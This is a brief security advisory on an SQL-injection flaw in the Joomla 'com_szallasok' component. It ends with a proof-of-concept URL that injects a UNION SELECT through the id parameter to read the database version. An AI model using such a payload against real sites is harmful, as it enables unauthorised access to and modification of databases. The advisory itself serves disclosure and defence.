source: https://www.securityfocus.com/bid/54140/info
The 'com_szallasok' component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
http://www.example.com/index.php?option=com_szallasok&mode=8&id=-25 union select 0,1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24